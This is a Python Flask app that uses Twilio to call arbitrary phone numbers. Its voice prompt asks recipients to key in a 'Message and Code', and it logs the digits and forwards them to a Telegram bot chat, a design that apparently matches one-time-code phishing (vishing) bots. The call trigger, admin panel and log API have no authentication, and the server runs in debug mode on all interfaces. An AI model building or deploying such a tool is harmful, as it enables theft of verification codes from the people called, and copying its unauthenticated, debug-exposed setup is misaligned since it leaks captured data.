app.py

from flask import Flask, request, jsonify, render_template, Response
from twilio.rest import Client
from twilio.twiml.voice_response import VoiceResponse, Gather
from datetime import datetime
import sqlite3
import requests

app = Flask(__name__)

# ================= CONFIG =================
TWILIO_ACCOUNT_SID = ""
TWILIO_AUTH_TOKEN = ""
TWILIO_NUMBER = ""

twilio_client = Client(TWILIO_ACCOUNT_SID, TWILIO_AUTH_TOKEN)

TELEGRAM_BOT_TOKEN = ""
ADMIN_CHAT_ID = ""

DB_FILE = "ivr_logs.db"

# ================= DATABASE =================
def init_db():
    with sqlite3.connect(DB_FILE) as conn:
        conn.execute('''
            CREATE TABLE IF NOT EXISTS ivr_logs (
                id INTEGER PRIMARY KEY AUTOINCREMENT,
                caller TEXT,
                receiver TEXT,
                digits TEXT,
                call_sid TEXT,
                timestamp TEXT
            )
        ''')
    print("✅ Database initialized.")

def log_call(caller, receiver, digits, call_sid):
    with sqlite3.connect(DB_FILE) as conn:
        conn.execute(
            "INSERT INTO ivr_logs (caller, receiver, digits, call_sid, timestamp) VALUES (?, ?, ?, ?, ?)",
            (caller, receiver, digits, call_sid, datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
        )

# ================= TELEGRAM ALERT =================
def send_telegram(msg):
    try:
        url = f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage"
        data = {"chat_id": ADMIN_CHAT_ID, "text": msg}
        requests.post(url, data=data)
    except Exception as e:
        print("❌ Telegram Error:", e)

# ================= TWILIO OUTBOUND CALL =================
@app.route("/call_user", methods=["POST"])
def call_user():
    user_number = request.form.get("to")
    if not user_number:
        return {"error": "Missing 'to' parameter"}, 400

    try:
        call = twilio_client.calls.create(
            to=user_number,
            from_=TWILIO_NUMBER,
            url="http://yourip/voice",  # Replace with your public HTTPS URL
            method="POST"
        )
        return {"success": True, "call_sid": call.sid}
    except Exception as e:
        return {"success": False, "error": str(e)}

# ================= TWILIO IVR (Trial-Friendly) =================
@app.route("/voice", methods=["POST"])
def voice():
    resp = VoiceResponse()

    # Trial warning
    resp.say("⚠️ You are using a Twilio trial number. This message will be removed once you upgrade.", voice="alice")

    # Gather user digits
    gather = Gather(
        input="dtmf",
        timeout=10,
        num_digits=10,       # allows multi-digit input
        action="/gather",
        method="POST"
    )
    gather.say("Welcome To Linux n Droid IVR. Type Your Message and Code, then press any number followed by the pound key, or wait until timeout..", voice="alice")
    resp.append(gather)
    resp.say("No input received. Goodbye.", voice="alice")

    return Response(str(resp), mimetype="text/xml")

@app.route("/gather", methods=["POST"])
def gather():
    digits = request.form.get("Digits", "")
    call_sid = request.form.get("CallSid", "")
    caller = request.form.get("From", "")
    receiver = request.form.get("To", "")

    # Log call & send Telegram
    log_call(caller, receiver, digits, call_sid)
    send_telegram(f"📞 IVR Input:\n👤 Caller: {caller}\n📱 To: {receiver}\n🔢 Digits: {digits}")

    # Respond to caller
    resp = VoiceResponse()
    if digits:
        resp.say(f"You entered {digits}. Thank you, goodbye.", voice="alice")
    else:
        resp.say("No input received. Goodbye.", voice="alice")
    resp.hangup()
    return Response(str(resp), mimetype="text/xml")

# ================= ADMIN PANEL =================
@app.route("/admin")
def admin_panel():
    return render_template("admin.html")

@app.route("/api/logs")
def get_logs():
    search = request.args.get("search", "")
    query = "SELECT * FROM ivr_logs WHERE digits LIKE ? ORDER BY id DESC"
    with sqlite3.connect(DB_FILE) as conn:
        cur = conn.execute(query, (f"%{search}%",))
        logs = [dict(zip([c[0] for c in cur.description], row)) for row in cur.fetchall()]
    return jsonify(logs)

# ================= RUN SERVER =================
if __name__ == "__main__":
    init_db()
    app.run(host="0.0.0.0", port=80, debug=True)